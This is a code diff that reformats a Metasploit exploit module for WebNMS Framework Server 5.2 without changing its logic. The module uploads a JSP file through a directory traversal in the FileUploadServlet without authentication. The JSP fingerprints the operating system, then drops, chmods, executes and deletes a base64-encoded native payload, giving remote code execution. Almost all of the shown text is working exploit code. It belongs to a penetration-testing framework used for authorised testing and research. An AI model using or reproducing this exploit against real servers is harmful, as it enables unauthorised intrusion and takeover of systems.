@@ -13,81 +13,91 @@ class MetasploitModule < Msf::Exploit::Remote
13
13
include Msf ::Exploit ::EXE
14
14
15
15
def initialize ( info = { } )
16
- super ( update_info ( info ,
17
- 'Name' => 'WebNMS Framework Server Arbitrary File Upload' ,
18
- 'Description' => %q{
16
+ super (
17
+ update_info (
18
+ info ,
19
+ 'Name' => 'WebNMS Framework Server Arbitrary File Upload' ,
20
+ 'Description' => %q(
19
21
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
20
22
unauthenticated user to upload text files by using a directory traversal attack
21
23
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
22
24
executes a malicious payload, achieving code execution under the user which the
23
25
WebNMS server is running.
24
26
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
25
27
Windows and Linux.
26
- } ,
27
- 'Author' =>
28
- [
29
- 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30
- ] ,
31
- 'License' => MSF_LICENSE ,
32
- 'References' =>
33
- [
34
- [ 'URL' , 'https://blogs.securiteam.com/index.php/archives/2712' ]
35
- ] ,
36
- 'DefaultOptions' => { 'WfsDelay' => 15 } ,
37
- 'Privileged' => false ,
38
- 'Platform' => %w{ linux win } ,
39
- 'Targets' =>
40
- [
41
- [ 'Automatic' , { } ] ,
42
- [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux' ,
43
- {
44
- 'Platform' => 'linux' ,
45
- 'Arch' => ARCH_X86
46
- }
28
+ ) ,
29
+ 'Author' =>
30
+ [
31
+ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
47
32
] ,
48
- [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows' ,
49
- {
50
- 'Platform' => 'win' ,
51
- 'Arch' => ARCH_X86
52
- }
53
- ]
54
- ] ,
55
- 'DefaultTarget' => 0 ,
56
- 'DisclosureDate' => 'Jul 4 2016' ) )
33
+ 'License' => MSF_LICENSE ,
34
+ 'References' =>
35
+ [
36
+ [ 'URL' , 'https://blogs.securiteam.com/index.php/archives/2712' ]
37
+ ] ,
38
+ 'DefaultOptions' => { 'WfsDelay' => 15 } ,
39
+ 'Privileged' => false ,
40
+ 'Platform' => %w( linux win ) ,
41
+ 'Targets' =>
42
+ [
43
+ [ 'Automatic' , { } ] ,
44
+ [
45
+ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux' ,
46
+ {
47
+ 'Platform' => 'linux' ,
48
+ 'Arch' => ARCH_X86
49
+ }
50
+ ] ,
51
+ [
52
+ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows' ,
53
+ {
54
+ 'Platform' => 'win' ,
55
+ 'Arch' => ARCH_X86
56
+ }
57
+ ]
58
+ ] ,
59
+ 'DefaultTarget' => 0 ,
60
+ 'DisclosureDate' => 'Jul 4 2016'
61
+ )
62
+ )
57
63
58
64
register_options (
59
65
[
60
66
OptPort . new ( 'RPORT' , [ true , 'The target port' , 9090 ] ) ,
61
- OptString . new ( 'TARGETURI' , [ true , "WebNMS path" , '/' ] )
62
- ] , self . class )
67
+ OptString . new ( 'TARGETURI' , [ true , "WebNMS path" , '/' ] )
68
+ ] ,
69
+ self . class
70
+ )
63
71
end
64
72
65
-
66
73
def check
67
- res = send_request_cgi ( {
68
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
69
- 'method' => 'GET'
70
- } )
74
+ res = send_request_cgi (
75
+ {
76
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
77
+ 'method' => 'GET'
78
+ }
79
+ )
71
80
if res && res . code == 405
72
81
return Exploit ::CheckCode ::Detected
73
82
else
74
83
return Exploit ::CheckCode ::Unknown
75
84
end
76
85
end
77
86
78
-
79
87
def upload_payload ( payload , is_exploit )
80
88
jsp_name = 'WebStart-' + rand_text_alpha ( rand ( 8 ) + 3 ) + '.jsp'
81
89
if is_exploit
82
90
print_status ( "#{ peer } - Uploading payload..." )
83
91
end
84
- res = send_request_cgi ( {
85
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
86
- 'method' => 'POST' ,
87
- 'data' => payload . to_s ,
88
- 'ctype' => 'text/html' ,
89
- 'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
90
- } )
92
+ res = send_request_cgi (
93
+ {
94
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
95
+ 'method' => 'POST' ,
96
+ 'data' => payload . to_s ,
97
+ 'ctype' => 'text/html' ,
98
+ 'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
99
+ }
100
+ )
91
101
92
102
if res && res . code == 200 && res . body . to_s =~ /Successfully written polleddata file/
93
103
if is_exploit
@@ -99,39 +109,39 @@ def upload_payload(payload, is_exploit)
99
109
end
100
110
end
101
111
102
-
103
112
def pick_target
104
113
return target if target . name != 'Automatic'
105
114
106
115
print_status ( "#{ peer } - Determining target" )
107
- os_finder_payload = %Q {<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
116
+ os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
108
117
jsp_name = upload_payload ( os_finder_payload , false )
109
118
110
- res = send_request_cgi ( {
111
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
112
- 'method' => 'GET'
113
- } )
119
+ res = send_request_cgi (
120
+ {
121
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
122
+ 'method' => 'GET'
123
+ }
124
+ )
114
125
115
126
if res && res . code == 200
116
127
register_files_for_cleanup ( 'jsp/' + jsp_name )
117
- if res . body . to_s =~ / Linux/
128
+ if res . body . include? " Linux"
118
129
return targets [ 1 ]
119
- elsif res . body . to_s =~ / Windows/
130
+ elsif res . body . include? " Windows"
120
131
return targets [ 2 ]
121
132
end
122
133
end
123
134
124
135
return nil
125
136
end
126
137
127
-
128
138
def generate_jsp_payload
129
- opts = { : arch => @my_target . arch , : platform => @my_target . platform }
139
+ opts = { arch : @my_target . arch , platform : @my_target . platform }
130
140
payload = exploit_regenerate_payload ( @my_target . platform , @my_target . arch )
131
141
exe = generate_payload_exe ( opts )
132
142
base64_exe = Rex ::Text . encode_base64 ( exe )
133
143
134
- native_payload_name = rand_text_alpha ( rand ( 6 ) + 3 )
144
+ native_payload_name = rand_text_alpha ( rand ( 6 ) + 3 )
135
145
ext = ( @my_target [ 'Platform' ] == 'win' ) ? '.exe' : '.bin'
136
146
137
147
var_raw = rand_text_alpha ( rand ( 8 ) + 3 )
@@ -144,13 +154,13 @@ def generate_jsp_payload
144
154
145
155
if @my_target [ 'Platform' ] == 'linux'
146
156
var_proc1 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
147
- chmod = %Q |
157
+ chmod = %|
148
158
Process #{ var_proc1 } = Runtime.getRuntime().exec("chmod 777 " + #{ var_path } );
149
159
Thread.sleep(200);
150
160
|
151
161
152
162
var_proc3 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
153
- cleanup = %Q |
163
+ cleanup = %|
154
164
Thread.sleep(200);
155
165
Process #{ var_proc3 } = Runtime.getRuntime().exec("rm " + #{ var_path } );
156
166
|
@@ -159,7 +169,7 @@ def generate_jsp_payload
159
169
cleanup = ''
160
170
end
161
171
162
- jsp = %Q |
172
+ jsp = %|
163
173
<%@page import="java.io.*"%>
164
174
<%@page import="sun.misc.BASE64Decoder"%>
165
175
<%
@@ -182,16 +192,13 @@ def generate_jsp_payload
182
192
}
183
193
%>
184
194
|
185
-
186
- jsp = jsp . gsub ( /\n / , '' )
187
- jsp = jsp . gsub ( /\t / , '' )
188
- jsp = jsp . gsub ( /\x0d \x0a / , "" )
189
- jsp = jsp . gsub ( /\x0a / , "" )
190
-
195
+ jsp . delete! ( "\n " )
196
+ jsp . delete! ( "\t " )
197
+ jsp . delete! ( "\x0d \x0a " )
198
+ jsp . delete! ( "\x0a " )
191
199
return jsp
192
200
end
193
201
194
-
195
202
def exploit
196
203
@my_target = pick_target
197
204
if @my_target . nil?
@@ -209,16 +216,18 @@ def exploit
209
216
210
217
jsp_payload = generate_jsp_payload
211
218
jsp_name = upload_payload ( jsp_payload , true )
212
- if jsp_name == nil
219
+ if jsp_name . nil?
213
220
fail_with ( Failure ::Unknown , "#{ peer } - Payload upload failed" )
214
221
else
215
222
register_files_for_cleanup ( 'jsp/' + jsp_name )
216
223
end
217
224
218
225
print_status ( "#{ peer } - Executing payload..." )
219
- send_request_cgi ( {
220
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
221
- 'method' => 'GET'
222
- } )
226
+ send_request_cgi (
227
+ {
228
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
229
+ 'method' => 'GET'
230
+ }
231
+ )
223
232
end
224
233
end
0 commit comments